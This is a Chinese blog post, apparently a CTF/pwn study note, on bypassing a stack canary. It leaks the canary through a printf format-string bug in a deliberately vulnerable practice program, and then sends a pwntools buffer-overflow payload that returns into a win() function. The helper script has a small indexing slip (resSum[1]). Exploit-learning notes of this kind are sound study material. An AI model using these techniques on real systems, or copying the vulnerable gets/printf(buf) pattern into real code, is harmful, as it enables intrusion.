mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4mobile wallpaper 5mobile wallpaper 6
294 字
1 分钟
canary
2025-11-18

指定程序使用的libc 和 ld#

使用提供的libc 和 ld 运行程序(会修改二进制文件)

patchelf --set-interpreter ./ld-linux-x86-64.so.2 pwn

在python 中pwn 脚本指定

p = process(['./ld-linux-x86-64.so.2', './pwn'], env={'LD_LIBRARY_PATH': '.'})

栈金丝雀#

当程序开启栈金丝雀保护的时候,可以尝试寻找可以类似于printf 的字符串格式化功能函数,来泄露栈金丝雀的值,从而绕过保护

比如如下程序

#include <stdio.h>
#include <stdlib.h>
char* gets(char* buf)
{
int c;
char *p = buf;
while((c = getchar()) != '\n' && c != EOF) {
*p++ = c;
}
*p = '\0';
return (c == EOF && p == buf) ? NULL : buf;
}
void win(void)
{
puts("Your find the secret!");
return;
}
void gift(void)
{
char buf[16];
puts("Input Your TEXT:");
gets(buf);
printf( (char*)buf);
puts("\nOK is your turn !");
gets(buf);
printf( "%s\n", buf);
}
int main(void)
{
gift();
return 0;
}

编译以后

gcc -o ./canary ./canary.c -fstack-protector-all -z noexecstack -no-pie -fno-pic -z norelro -D_FORTIFY_SOURCE=0 -fcf-protection=none

通过观察可以发现函数 printf 可以 用来处理其中的格式化字符串,可以用来泄露栈金丝雀的值 所以设置如下 枚举出栈金丝雀的值

def getCanary(prn: str) -> None:
context.log_level = "info"
resSum = []
for i in range(25):
p = process(prn)
p.recvuntil(b"Input Your TEXT:\n")
p.sendline(f"%{i + 1}$p")
res = p.recvuntil(b"\n")
resSum.append(res)
# res = p.recv()
print(f"res: {res}")
print(f"offset: [{i + 1}] -> {res}")
p.close()
print("找到的值")
for i in range(len(resSum)):
print(f"{i + 1} : {resSum[1]}")

多次输出发现, 第9个和第13 数值以 00 结尾 为金丝雀的候选,所以 从第九个开始尝试,于构建如下脚本

from pwn import *
context.log_level = "debug"
# 9, 13
# getCanary("./canary")
elf = ELF("./canary")
p = process("./canary")
p.recvuntil(b"Input Your TEXT:\n")
p.sendline(b"%9$p")
canaryStr = p.recvuntil(b"\n")
canary = int(canaryStr, 16)
print(f"GET Canary {hex(canary)}")
backdoorAddr = elf.symbols["win"]
offset = 24
payload = flat([
b"a" * offset,
p64(canary),
p64(0),
p64(backdoorAddr)
])
p.recvuntil(b"OK is your turn !\n")
p.sendline(payload)
a = p.recv()
print(a)

总结#

遇到 栈金丝雀保护,首先需要寻找尝试寻找支持字符串格式化的内容, 但是如果遇到那些不会往读取字符串后边加上 \x00 的函数,也可以尝试去覆盖canary的最低位非0值,从而泄露出 栈金丝雀的值

分享

如果这篇文章对你有帮助,欢迎分享给更多人!

canary
https://yoyolp.github.io/posts/11/18/
作者
超级玉米人
发布于
2025-11-18
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

目录